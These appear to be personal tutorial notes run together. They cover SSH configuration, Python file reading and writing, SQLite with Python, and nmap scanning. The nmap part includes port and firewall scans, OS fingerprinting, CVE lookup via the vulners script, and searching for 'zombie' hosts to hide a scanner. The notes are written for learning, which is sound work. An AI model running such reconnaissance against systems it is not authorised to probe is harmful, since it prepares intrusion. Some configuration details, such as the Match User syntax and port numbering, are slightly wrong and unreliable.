- `PermitRootLogin`, if uncommented, will use the `prohibit-password` value which allow root login via ssh, but prohibit the usage of password. This can be achieved by other login method such as using ssh_pub key. Most system will probably set this to `no`. 
- `MaxAuthTries` is the number of bad password tries a client can re-enter.
- `MaxSessions` is max number of sessions, a user can create at the same time.

- `PasswordAuthentication` by changing this value to no, we can block password base authentication to our server.
- `PubKeyAuthentication` by uncommenting this, we can use public_key authentication instead of a password based authentication.

- `AllowUser` will allow us to allowed specific user to authenticate via ssh to our server.
- `DenyUser` will deny specific user from authenticate via ssh.
- `AllowGroup` will allow user from specific user group.
- `DenyGroup` will deny user from specific user group.

# Users access
We can also change our configuration file to only allow specific Ip address to authenticate to our ssh server. We can achieved this using the `Match` property
```conf
Match Address 192.168.1.0/24
    PermitRootLogin prohibit-password
    PasswordAuthentication yes # password auth only allowed in local 192.168.1.0/24 address only.
```
We can set a authentication configuration for specific user
```conf
Match User jun nur Address * # only Jun and Nur can log in from any address
    PasswordAuthentication no # but not using the password
    PubKeyAuthentication yes  # only using the public key method.
```
After we made changes to our config file, we can restart our sshd service to apply the changes. 
```
jun@server:~$ systemctl restart sshd
```
# Basic SSH client
To connect to SSH server from our client machine, we use `ssh <username>@<address>` command. let say in our SSH server, there is a user with username `nur` and our server address `192.168.1.3`.
```
jun@client:~$ ssh nur@192.168.1.3

nur@192.168.1.3's password:
```
If `PasswordAuthentication` is enabled, then we will be prompted asking for a password. We can start typing our password, but the password will not appear on the screen. After we confident with our password, we can press `<Enter>` and noticed that our shell prompt changed from `jun@client:~$` to `nur@server:~$`, which means we successfully created a session.

To close the ssh connection, we cam simply close our terminal or write `exit` in the terminal.

Tho, ssh is more secure that telnet, IT is advisable to not use `PasswordAuthentication` and instead use `PubKeyAuthentication` anytime we want to authenticate with our server.

## PubKeyAuthentication Explain
This authentication method use a cryptographic key pair that made up of private key and a public key. `Public key` is usually the key we sent to other people to `encrypt` information, and we use our `Private key` to `decrypt` the information.

With this authentication method, we on the `client` machine, will generate our keys, and then copy our `Public key` to the server and kept our `Private key`. Whenever we try to authenticate to the server, the server check if it already had our `Public key` in its list.

If we are indeed in the list, the server will then challenge us by encrypting a key generated by the server using our `public key`. If we indeed the owner of the `public key`, we will own the `private key` pair that will decrypt the challenge sent by the server. We can decrypt the key sent by the server, and then re-send it to the server to verified that we are able to decrypt the challenge given by the server.

This happen automatically thus provide more security and convenient to us, as we don't need to re-typing our password whenever we want to authenticate to our server.

## Generate our Authentication Key
In our client machine, we first need to generate our `key-pair` using `ssh-keygen`.
And press enter for default options.
```
jun@client:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/jun/.ssh/id_rsa):
```
If we want to have more than one ssh key, we can rename the default `id_rsa` file to our own liking, in this examlpe I named it as `jun_ssh_vm_server_rsa` and click <Enter>.
```
jun@client:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/jun/.ssh/id_rsa): /home/jun/.ssh/jun_ssh_vm_server_rsa
```
It will then ask for a passphrase for our key. we can left it to default (none) if we want. If we set a passphrase, we might be asked to enter the passphare whenever we want to use our private key to decrypt.

```
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/jun/.ssh/jun_ssh_vm_server_rsa

Your public key has been saved in /home/jun/.ssh/jun_ssh_vm_server_rsa.pub

The key fingerprint is:
SHA256:zxrk0IqzlZIDzjlBrWsEmgkAq0Ix5P2prNzdYWzORkB jun@client
The key's randomart image is:
+---[RSA 3072]----+
|=+ E             |
|o.=.             |
|+o.o.            |
|==... .          |
|* =. o  S        |
|.+.=o. =         |
|  B++++ =        |
| .+.**o*         |
| ..+=*o.o        |
+----[SHA256]-----+
```
After we hits <Enter> and generated our keys, we get presented that our public key has been saved in `/home/jun/.ssh/jun_ssh_vm_server_rsa.pub`, with the `.pub` extension on the file.

## Sharing Our Public Key.
If we already had access to our server using `PasswordAuthentication`, we can simply copy the key into the server using the `ssh-copy-id` command. This command will automate copying our public key into a file on the server `~/.ssh/authorized_keys`.

```
jun@client:~$ ssh-copy-id -i ~/.ssh/jun_ssh_vm_server_rsa.pub nur@192.168.1.3
```
Then after we transfered our key, we can change the  `PasswordAuthentication` configuration to `no` to only use `PublicKeyAuthentication` method.

If we dont have access to the server, we can contact the server administrator, and sent them our public `.pub` key to be added to the `authorized_keys` list. `Never share your private key` and only share the `public key` as it is meant to be share with other.

## Security notes. 
If somehow our client machine was hacked, or our `Private key` get stolen, we need to generate a new key pair and remove the old `Public Key` from the server `authorized_keys` list. 

Make sure the `authorized_keys` file have proper `permission`. In case of malicious attack, an attacker can jump between user by editing `authorized_keys` file of other user, and simply login to a user by simply adding their own public key to the `authorized_keys` file. Image if root user's `authorized_keys` permission are not set properly.

# SSH client
Previously, we learn that we can transfer our public key to our server via `ssh-copy-id` using the `-i` options to specify the identity (key) file.

Using the ssh client program, we can also specify the identity file we want to authenticate with using the `-i` option. There are also other options that we can learn thru the `ssh man page`.

As example to change the default port we use `-p` options
```
jun@client:~$ ssh -p 2345 nur@192.168.1.3
```
we can also permenantly change the default port by adding a config file to our `~/.ssh/` directory.
```
jun@client:~$ vim ~/.ssh/config
```
Inside the config file, we can add and save the following
```conf
Port 2345
```
using this configuration, we just change our client default ssh port to connect to port 2345. We can also ommit the username when using `ssh` client by adding our `User` to the config file, tho this is weird, because we don't always use the same username on different server.

```conf
# these will be use as default
Port 2345
User nur 
```
We can also add configuration for specific host to our client `~/.ssh/config` file.
```conf
Host 192.168.1.3 # ssh -p2345 nur@192.168/.1.3
    User nur 
    Port 2345

Host cs.nurbxfit.com # ssh -p22 jun@cs.nurbxfit.com
    User jun
    Port 22

Host myalias # provide alias for our hostname/address
    Hostname cs.usm.my # the actual address
    User nur
    Port 22 # we can connect using simple 'ssh myalias'
    IdentityFile ~/.ssh/jun_usm_server_rsa
```
After we save our configuration, we need to set permission for our config file to only allow our user to read and write to it.
```bash
jun@client:~$ chmod 600 ~/.ssh/config 
```


So now we can ssh into our server with just this command.
```
jun@client:~$ ssh 192.168.1.3
```

SSH basic task


# Reading data from Text file.
In python, we use the [open()](https://docs.python.org/3/library/functions.html#open) function to open a file programmatically.
This function takes few arguments such as `file path` and `read mode`, then return a [File Object](https://docs.python.org/3/glossary.html#term-file-object). If the file cannot be opened, it throw an `OSError` to us. the `read mode` mentioned specified the mode of which the file is opened. 
- `r` for read, 
- `w` for write, 
- `a` for appending, 
- `b` for binary mode, 
- `t` default text mode.
- `r+` read and write to a file.

The file object contains metadata about the file including the content of the file. 
Receiving the `File Object`, we can make use of the `.read()` method, to read the content of the file. 

For example, I have a text file named `notes.txt`.
```
jun@b:~$ ls 
notes.txt fileio.py
```
To read the content of the text file, in my fileio.py I write these line of code 
```py
file = open("notes.txt") # open the file
print(file.read()) # read from it
file.close() # close the file
```
running the code, we can see the content of `notes.txt` get printed on the terminal
```
jun@b:~$ python3 fileio.py
This is my notes on python file I/O
```
When python read a file, It uses a cursor, to read the content from start to end.
When we open the file, the cursor is at the beginning, and when we call `.read()`, the cursor read and move to the end. If we decide to call the `.read()` method twice in our code, the second time will yield nothing as the cursor is already at the end of the file.
```py
file = open("notes.txt") # open the file
filecontent1 = file.read() # read from it, will print something
filecontentNext = file.read() # will return nothing, cursor at end

print("F1: {}".format(filecontent1))
print("FNext :{}".format(filecontentNext))
file.close() # close the file
```
the result will be this,
```
jun@b:~$ python3 fileio.py 
F1: This is my notes on python file I/O

FNext:

```
# Moving the cursor.
To move our cursor around, we can use the [.seek()](https://python-reference.readthedocs.io/en/latest/docs/file/seek.html) method to set the position of our cursor.

The seek method takes the character index as parameter.
Lets say from the text content of our `notes.txt`, the 0 index is the beginning of the file, the 6th index is the letter `s` as highlighted in 

> " This i`s` my notes on python file I/O "

using our previous code, we can re-read the content of our file by using the `seek()` method to move our cursor at the begining of the file.

```py
file = open("notes.txt")

# first read
content = file.read() 

#seek to begin
file.seek(0)

# second read
contentNext = file.read()
print("F1: {}".format(content))
print("FNext :{}".format(contentNext))
file.close() # close the file
```
Running it again, we can see that we are able to re-read the file
```
jun@b:~$ python3 fileio.py 
F1: This is my notes on python file I/O

FNext :This is my notes on python file I/O
```
Using this new notes.txt example, we can also read our text file line by line using `.readline()` method.
```
This is my notes on python file I/O.
It is consist of multiple line text. 
This is the third line of the text,
and every line are seperated by the new line character
```

The `.readline()` method will read our text one at the time, instead of moving the cursor all the way to the end.
```py
file = open("notes.txt")
firstline = file.readline() # move cursor to end of 1st line
secondline = file.readline()

# read lines one by one and return as an array
restofthelines = file.readlines() 

print("1st line: {}".format(firstline))
print("2nd line: {}".format(secondline))
print("rest lines: {}".format(restofthelines))

file.close()
```
Notices that I've used another method `.readlines()` that will read line where the cursor is until the end of the line, and return it as an array.

```
jun@b:~$ python3 fileio.py 
1st line: This is my notes on python file I/O.

2nd line: It is consist of multiple line text. 

rest lines: ['This is the third line of the text,\n', 'and every line are seperated by the new line character \n']
```
# Read With
In python we can use `with` to easily open a file and read it with minimal code.
The advantage of using `with` is that it automatically close our file whenever its finish reading the file.
```py

with open("notes.txt") as file:
   print(file.read())

```
# Write to file
Now lets try writing to our `notes.txt`. We can do this by passing the `w` arguments to the `open()` function. Then we can use the `.write()` to write to our file. 
```py
with open("notes.txt","w") as file:
    file.write("We write to a file using the `w` mode \n")
    file.write("To write a multi line text we end the line using the endline character '\\n' \n")
    file.write("Using 'w' will overide the original content \n")
```
Noticed that running the script above will overide the content of our `notes.txt` file.
```
jun@b:~$ cat notes.txt

We write to a file using the `w` mode 
To write a multi line text we end the line using the endline character '\n' 
Using 'w' will overide the original content
```

To `append` a text to a file we can use the `a` mode.
```py
with open("notes.txt","a") as file:
    file.write("Here, we append a line to the text \n")
    file.write("Here is another line we append to the text \n")
```
this will append what we wrote to `the end` of the line of our text file.
```
jun@botbot:~$ python3 appendio.py 
jun@botbot:~$ cat notes.txt 

We write to a file using the `w` mode 
To write a multi line text we end the line using the endline character '\n' 
Using the 'w' will overide the original content 
Here, we append a line to the text 
Here is another line we append to the text
```
Noted, that append will only, add the line to the end, we have no control over the cursor to add where we want to write our text.

To enable us to use cursor and write to a specific place in the text, we need to use `r+` mode. This mode however will add our text to the beginning instead of the end of our file. It also will overide the text from the cursor position 0.
```py
with open("notes.txt","r+") as file:
    # we can use file.seek() to any specific index if we want.
    file.write("Overide some words on first line")
```
```
jun@botbot:~$ python3 overide.py 
jun@botbot:~$ cat notes.txt

Overide some words on first line mode 
To write a multi line text we end the line using the endline character '\n' 
Using the 'w' will overide the original content 
Here, we append a line to the text 
Here is another line we append to the tex
```
Look at our first line, some of the words get overide by the line we write. This thing is complicated and I hate it.

# Close the file
Please remember to close the connection to our file, It can caused serious security issues if we forgot to close a file in our program. 

We can check if our file is closed or open using the `.closed` attribute. this attribute is true if our file is closed.
```py
file = open("notes.txt")
print(file.closed) # print false

file.close()
print(file.closed) #print true
```

File I/O with Python


# Getting Started
- we are going to use SQLite as our SQL database, because it is easy, no need complicated installation process.
- Basic of it, is same as other SQL database (MySQL or PostgresSQL).
- we are using `Ubuntu 20.04` as our operating system.
- we are using `python3`.

# Check if SQLite installed
In our ubuntu machine, open a terminal and write `sqlite3`.
```bash
jun@b:~$ sqlite3
```
If our system could't not find any `sqlite3>` prompt, we might need to install it.
```bash
jun@b:~$ sudo apt install sqlite3
```
After the installation finished, run `sqlite3` command again and we will see something like this.

```bash
jun@b:~$ sqlite3

SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> 
```
Noticed that, we got the `sqlite3>` prompt ? 
this means, we successfully installed it.

# SQLite basic
Let's us, test creating a new table for our SQLite database.
Using the prompt earlier, add the following SQL statement.
```sql
CREATE TABLE profiles ( name TEXT, sex TEXT, age INTEGER );
```
When we click `<ENTER>`, we might not see anything. 
```sql
sqlite> CREATE TABLE profiles ( name TEXT, sex TEXT, age INTEGER );
sqlite> 
```
To see if we successfully created our table. write `.tables` on the prompt to list our tables. In this case, we only got one table named `profiles`.
```sql
sqlite> .tables
profiles
```
We can describes our tables, to look at it's schemas using the `.schema` command in sqlite prompt. It will show back the `CREATE` schemas we use to create the table.
```sql
sqlite> .schema profiles
CREATE TABLE profiles ( name TEXT, sex TEXT, age INTEGER );
```
This table that we recently create are stored in a memory (RAM) and not persistence.
If we quite our sqlite program using `Ctrl+D`, all of our tables will be deleted.
To make it persistence, we need to save if to a file.

To make our data persistance, we can use `.open` command in sqlite, to open a db file,
and then run our `create table` command again to write to it.
- let's try open a db file named `profiles_db.db` and create our table
```sql
sqlite> .open profiles_db.db
sqlite> CREATE TABLE profiles ( name TEXT, sex TEXT, age INTEGER );
```
When we exited, our sqlite program, we can we a file was created in our current working directory.
```bash
jun@b:~$ ls
profiles_db.db
```
We can open our database, using the command `sqlite3 <our_db_name.db>` in terminal
```bash
jun@b:~$ sqlite3 profiles_db.db
```
or we can open it using `.open <our_db_name.db>` in sqlite prompt.
```bash
jun@b:~$ sqlite3
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.

sqlite> .open profiles_db.db
```
## Executes SQL statements from .sql file
Let's say we have a `insert-data.sql` file contains sql statements to insert data into our table and the file is located within our working directory. We can execute that file using `.read` command on sqlite prompt.
- let's say our `insert-data.sql` contains the following statements
```SQL
INSERT INTO profiles (name,sex,age) VALUES ("John","male",29);
INSERT INTO profiles (name,sex,age) VALUES ("Jane","female",24);
INSERT INTO profiles (name,sex,age) VALUES ("James","female",30);
```
- we can execute the statements like this, first we open previously create db, then run the `.read` command to read our `insert-data.sql` file. We can verified that data was inserted using sql `SELECT` statement.
```
sqlite> .open profiles_db.db
sqlite> .read insert-data.sql
sqlite> SELECT * FROM profiles;

John|male|29
Jane|female|24
James|female|30

sqlite> 
```

# Connecting SQL database with Python
Python had a [sqlite3 library](https://docs.python.org/3/library/sqlite3.html) that we can use to connect our python program with sqlite.

To use it, we simply import the library, and create a connection to our database file.
```py
import sqlite3

#if db file doesn't exist yet, it will create one for use.
connection = sqlite3.connect('profiles_db.db') 

connection.close()
```
To execute SQL statements, we will need to create a cursor, and use `cursor.execute()` function to execute our statement.
```py
import sqlite3

# we create connection
conn = sqlite3.connect("profiles_db.db")

# we create a cursor
cursor = conn.cursor()

# our SQL statement
stmt="SELECT * FROM profiles;"

# we execute our statement, and assign the results to an array
profileList = cursor.execute(stmt)

# Loop thru the list and print it out
for row in profileList:
    print(row)

conn.close() # we close connection
```
we can run it, and we see rows of profile get printed
```bash
jun@bin:~$ python3 profiles.py 
('John', 'male', 29)
('Jane', 'female', 24)
('James', 'female', 30)

```
- we can execute other various statements such as `CREATE`,`SELECT`,`INSERT` statements by simply write down the SQL statments and use `cursor.execute()` function to execute it.

```py
import sqlite3

# we create connection
conn = sqlite3.connect("profiles_db.db")

# we create a cursor
cursor = conn.cursor()

# user we want to add
firstUser = ("Moriaty","male",23)
# our SQL statement
insert_stmt="INSERT INTO profiles (name,sex,age) VALUES (?,?,?)"
select_stmt="SELECT * FROM profiles;"

# we execute insert statement, with the value as second arguments.
cursor.execute(insert_stmt,firstUser)

# we execute our statement, and assign the results to an array
profileList = cursor.execute(select_stmt)

# Loop thru the list and print it out
for row in profileList:
    print(row)

conn.close() # we close connection
```
Running the script above, we see that we successfully inserted a row into our table
```bash
jun@bin:~$ python3 profiles.py 
('John', 'male', 29)
('Jane', 'female', 24)
('James', 'female', 30)
('Moriaty', 'male', 23)

```

We can also insert multiple data by using the same statements but change `.execute` to `executemany`.
```py
import sqlite3

# we create connection
conn = sqlite3.connect("profiles_db.db")

# we create a cursor
cursor = conn.cursor()

# user we want to add
profiles = [
    ("Sherlock","male",23),
    ("Holmes","female",25)]

# our SQL statement
insert_stmt="INSERT INTO profiles (name,sex,age) VALUES (?,?,?)"
select_stmt="SELECT * FROM profiles;"

# we execute insert statement, with the value as second arguments.
cursor.executemany(insert_stmt,profiles)

# we execute our statement, and assign the results to an array
profileList = cursor.execute(select_stmt)

# Loop thru the list and print it out
for row in profileList:
    print(row)

conn.close() # we close connection
```

# More info
- for more information feel free to read the [official docs](https://docs.python.org/3/library/sqlite3.html) for `sqlite3` library in python.

SQLite with Python


## Concept of Three-way-handshake

- tcp connection, perfom 3 way handshake to establish connection.
- for `Alice` to initiate connection with `Bob` on let say port 22.
- `Alice` first send `TCP SYN` to `Bob` to port 80.
- if `Bob` have a server listening on port 22, it will reply to `Alice` with `TCP SYN/ACK`, saying ok "I got service running here".
- `Alice` then acknowledge that `Bob` know it want to make connection, then `Alice` send the `TCP ACK` to `Bob`.
- then if we want to terminate connection we either send `TCP Fin` or `TCP RST` connection.

    ![tcp example](Ereet_Packet_Trace_Connect_Open.png)

- nmap have dozen of port scan technique.
- only one method may be used at a time.
- except for
  - UDP scan (-sU)
  - SCTP scan (-sY,-sZ)
- these exception can be combined with one of TCP scan type.

## TCP scan types.

### TCP Connect scan (-sT)

  - this is a default scanning options.
  - it perform 3 way handshake with our target to get information on open port.
  - after send the ***`ACK`*** it will send ***`RST`*** packet to kill connection.
  - example usage: ***`nmap -sT 10.0.2.16`***
  - output

  ```txt
  Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 10:59 EDT
    Nmap scan report for 10.0.2.16
    Host is up (0.00066s latency).
    Not shown: 999 filtered ports
    PORT   STATE SERVICE
    22/tcp open  ssh
    MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
    Nmap done: 1 IP address (1 host up) scanned in 4.53 seconds
  ```

### TCP SYN scan (-sS)

  - just like Connect scan, but shorter
  - example usage: ***`nmap -sS 10.0.2.16`***
  - output

  ```txt
    Nmap scan report for 10.0.2.16
    Host is up (0.00049s latency).
    PORT   STATE SERVICE
    22/tcp open  ssh
    MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
    Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
  ```

  - what it does is
  - nmap try to establish connection by sending ***`TCP SYN`*** packet
  - our target then will reply with ***`SYN/ACK`*** if there is a open port.
  - then instead of initiating connection with ***`TCP ACK`***, nmap send ***`RST`*** packet, to skip making connection.
  - because we skip ***`TCP ACK`*** stage, our scanning become slightly faster and consume less bandwidth when perform on multiple open ports.
    ![tcp sync](https://nmap.org/book/images/ereet/Ereet_Packet_Trace_Syn_Open.png)

### TCP ACK scan (-sA)

  - unlike Connect and SYN,
  - ACK scan simply sent only the ACK packet to the target.
  - a confused target then either send ***`TCP RST`*** back to use, no sending any response or sending us with an ICMP error.
  - if the target send back a ***`TCP RST`*** packet, it means we are able to reach the port, but we have no ideas if the port is open or not.
  - if there is no response or we got ICMP error, then the port is filtered because either the firewall just drop our ACK packet, thus we haven't receive anything.
  - because all host must send back something to client trying to connect to their service. so if they doesn't sent us anything, there must be firewall involved.
  - other reasons is maybe host is suddently down, (but unlikely, else nmap will tell us).
  - nmap will perform ping scan and host resolution first, to check if host is online then they perform TCP ACK scan.
  - we can see this when we use ***`-vv`*** tags for verbose information.
  - example ***`nmap -sA -p22 scanme.nmap.org --vv`***

  ```txt
  Warning: Hostname scanme.nmap.org resolves to 2 IPs. Using 45.33.32.156.
    Initiating Ping Scan at 12:24
    Scanning scanme.nmap.org (45.33.32.156) [4 ports]
    Completed Ping Scan at 12:24, 0.06s elapsed (1 total hosts)
    Initiating Parallel DNS resolution of 1 host. at 12:24
    Completed Parallel DNS resolution of 1 host. at 12:24, 0.00s elapsed
    Initiating ACK Scan at 12:24
    Scanning scanme.nmap.org (45.33.32.156) [1 port]
    Completed ACK Scan at 12:24, 0.03s elapsed (1 total ports)
    Nmap scan report for scanme.nmap.org (45.33.32.156)
    Host is up, received reset ttl 255 (0.00020s latency).
    Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
    Scanned at 2021-06-10 12:24:47 EDT for 0s
    PORT   STATE      SERVICE REASON
    22/tcp unfiltered ssh     reset ttl 255
    Read data files from: /usr/bin/../share/nmap
    Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
            Raw packets sent: 5 (192B) | Rcvd: 2 (80B)
  ```

## No Port Scan -sn

- also known as Ping scan
- it functions like netdiscover, usefull to discover alive host
- it will not perform port scan, only discover the host
- we provide ip range and it simply return host in it.
- example ***`nmap -sn 10.0.2.1/24`***
- result:

```txt
Nmap scan report for 10.0.2.1
Host is up (0.00081s latency).
Nmap scan report for 10.0.2.2
Host is up (0.00073s latency).
Nmap scan report for 10.0.2.4
Host is up (0.00059s latency).
Nmap scan report for 10.0.2.5
Host is up (0.00030s latency).
Nmap scan report for 10.0.2.15
Host is up (0.00033s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 3.26 seconds
```


# Enumerating DNS using nmap.

- we can perform dns brute force attack to find common, subdomains of a host.
- nmap got a script for that called ***`dns-brute`***
- to use it, simply ***`nmap --script dns-brute nmap.org -p 80`***

# scanning protocol.

- instead of scanning thru port numbers, we can scan thru IP protocol supported by the host such as ***`ICMP`***,***`TCP`***,***`UDP`***,***`IGMP`***.
- to do this, we use `-sO` tag in nmap.
- example: ***`nmap -sO scanme.nmap.org`***
- this will show state of protocol that are filtered or not by firewall.

```txt
PROTOCOL STATE         SERVICE
1        open          icmp
2        open|filtered igmp
4        open|filtered ipv4
6        open          tcp
17       open          udp
29       open|filtered iso-tp4
41       open|filtered ipv6
50       open|filtered esp
51       open|filtered ah
78       open|filtered wb-mon
104      open|filtered aris
185      open|filtered unknown
206      open|filtered unknown
```



# check for Firewall

- let say we perform a simple TCP ACK scan using ***`-sA`***
- running ***`nmap -sA 10.0.2.16`***
- for a firewalled machine, we will get something like this.

```txt
Nmap scan report for 10.0.2.16
Host is up (0.00027s latency).
All 1000 scanned ports on 10.0.2.16 are filtered
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 22.51 seconds
```

- if we get unfiltered like this

```txt
Nmap scan report for 10.0.2.16
Host is up (0.00059s latency).
All 1000 scanned ports on 10.0.2.16 are unfiltered
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.30 seconds
```

- our nmap scan might be having problems to determine if it is filtered or not
- to make it more percise, we can try specify port in that scan.
- running ***`nmap -p 80 -sA 10.0.2.16`***
- in case of no firewall we can see

```txt
Nmap scan report for 10.0.2.16
Host is up (0.00034s latency).
PORT   STATE      SERVICE
80/tcp unfiltered http
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
```

- we can reach the service, but there is no reply from server, thus, nmap do not know if it is open or closed.
- for a filtered/firewalled result we can see

```txt
Nmap scan report for 10.0.2.16
Host is up (0.00026s latency).
PORT   STATE    SERVICE
80/tcp filtered http
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
```

- if ***`TCP ACK`*** doesn't yield much usefull information about the state of the port.
- we can perfom other TCP scan such as ***`TCP CONNECT`*** using ***`-sT`***
- example ***`nmap -p- -sT 10.0.2.16`***
- the ***`-p-`*** means to use all possible port number.
- for a non firewalled result we might see something like this

```txt
map scan report for 10.0.2.16
Host is up, received arp-response (0.00029s latency).
Scanned at 2021-06-10 04:49:51 EDT for 84s
Not shown: 65524 closed ports
Reason: 65524 conn-refused
PORT      STATE SERVICE      REASON
22/tcp    open  ssh          syn-ack
135/tcp   open  msrpc        syn-ack
139/tcp   open  netbios-ssn  syn-ack
445/tcp   open  microsoft-ds syn-ack
5357/tcp  open  wsdapi       syn-ack
49152/tcp open  unknown      syn-ack
49153/tcp open  unknown      syn-ack
49154/tcp open  unknown      syn-ack
49155/tcp open  unknown      syn-ack
49156/tcp open  unknown      syn-ack
49162/tcp open  unknown      syn-ack
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
```

- we can see from the output, our TCP connect, receive a TCP syn-ack from the target host.

- for a firewalled result of the same machine we might see something like this

```txt
Nmap scan report for 10.0.2.16
Host is up, received arp-response (0.0029s latency).
Scanned at 2021-06-10 04:53:57 EDT for 111s
Not shown: 65534 filtered ports
Reason: 65534 no-responses
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
```

- at the end, it's all depend on the firewall rules configuration
- we can perfom other type of scan such as TCP SYN ***`-sS`*** or TCP NULL ***`-sN`*** to check for different result.

# check for OS.

- perfoming an OS scan, we can use the `-O` tag
- example ***`nmap -O 10.0.2.16`***
- result will show something like this.

```txt
Nmap scan report for 10.0.2.16
Host is up (0.00054s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows Vista|2008 (91%)
OS CPE: cpe:/o:microsoft:windows_vista::sp2 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008
Aggressive OS guesses: Microsoft Windows Vista SP2 (91%), Microsoft Windows Server 2008 or 2008 Beta 3 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
```

or

```txt
Nmap scan report for 10.0.2.4
Host is up (0.00047s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:8F:81:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop
```

# Identifying vulnerabilities

- to identify vulnerabilities, we can run ***`vulners`*** scripts
- to run it ***`nmap --script vulners -sV 10.0.2.16`***
- example output is

```txt
Nmap scan report for 10.0.2.16
Host is up (0.00044s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.7 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:6.7:
|       EDB-ID:21018    10.0    https://vulners.com/exploitdb/EDB-ID:21018      *EXPLOIT*
|       CVE-2001-0554   10.0    https://vulners.com/cve/CVE-2001-0554
|       CVE-2015-5600   8.5     https://vulners.com/cve/CVE-2015-5600
|       EDB-ID:40888    7.8     https://vulners.com/exploitdb/EDB-ID:40888      *EXPLOIT*
|       CVE-2020-16088  7.5     https://vulners.com/cve/CVE-2020-16088
|       EDB-ID:41173    7.2     https://vulners.com/exploitdb/EDB-ID:41173      *EXPLOIT*
|       CVE-2015-6564   6.9     https://vulners.com/cve/CVE-2015-6564
|       CVE-2018-15919  5.0     https://vulners.com/cve/CVE-2018-15919
|       CVE-2017-15906  5.0     https://vulners.com/cve/CVE-2017-15906
|       SSV:90447       4.6     https://vulners.com/seebug/SSV:90447    *EXPLOIT*
|       EDB-ID:45233    4.6     https://vulners.com/exploitdb/EDB-ID:45233      *EXPLOIT*
|       EDB-ID:45210    4.6     https://vulners.com/exploitdb/EDB-ID:45210      *EXPLOIT*
|       EDB-ID:45001    4.6     https://vulners.com/exploitdb/EDB-ID:45001      *EXPLOIT*
|       EDB-ID:45000    4.6     https://vulners.com/exploitdb/EDB-ID:45000      *EXPLOIT*
|       EDB-ID:40963    4.6     https://vulners.com/exploitdb/EDB-ID:40963      *EXPLOIT*
|       EDB-ID:40962    4.6     https://vulners.com/exploitdb/EDB-ID:40962      *EXPLOIT*
|       CVE-2016-0778   4.6     https://vulners.com/cve/CVE-2016-0778
|       CVE-2020-14145  4.3     https://vulners.com/cve/CVE-2020-14145
|       CVE-2015-5352   4.3     https://vulners.com/cve/CVE-2015-5352
|       CVE-2007-2768   4.3     https://vulners.com/cve/CVE-2007-2768
|       CVE-2016-0777   4.0     https://vulners.com/cve/CVE-2016-0777
|_      CVE-2015-6563   1.9     https://vulners.com/cve/CVE-2015-6563
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)
```

- here we get various CVE for Openssh, we can copy it and perfom a google search to find out more about the vulnerabilities.
- we can also make use of metasploit to attack known vulnerabilities.

# (stealth) Finding zombies machine for proxying.

- in nmap, we can proxy our ip address for scanning, by using zombies host.
- first we need to find the zombies using the script ***`ipidseq`***
- to do this run ***`nmap --script ipidseq 10.0.2.0/24`***
- ***`10.0.2.0/24`*** is our network address range we want to scan.
- to perfom zombies proxy, we need to find host with ***`ipidseq : Incremental!`***
- example output from my scan, we found two host that support ip id sequence increment

```txt
Nmap scan report for 10.0.2.1
Host is up (0.000073s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
53/tcp open  domain  (generic dns response: SERVFAIL)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.91%I=7%D=6/10%Time=60C1EAB1%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Host script results:
|_ipidseq: Incremental!
Nmap scan report for 10.0.2.2
Host is up (0.00015s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
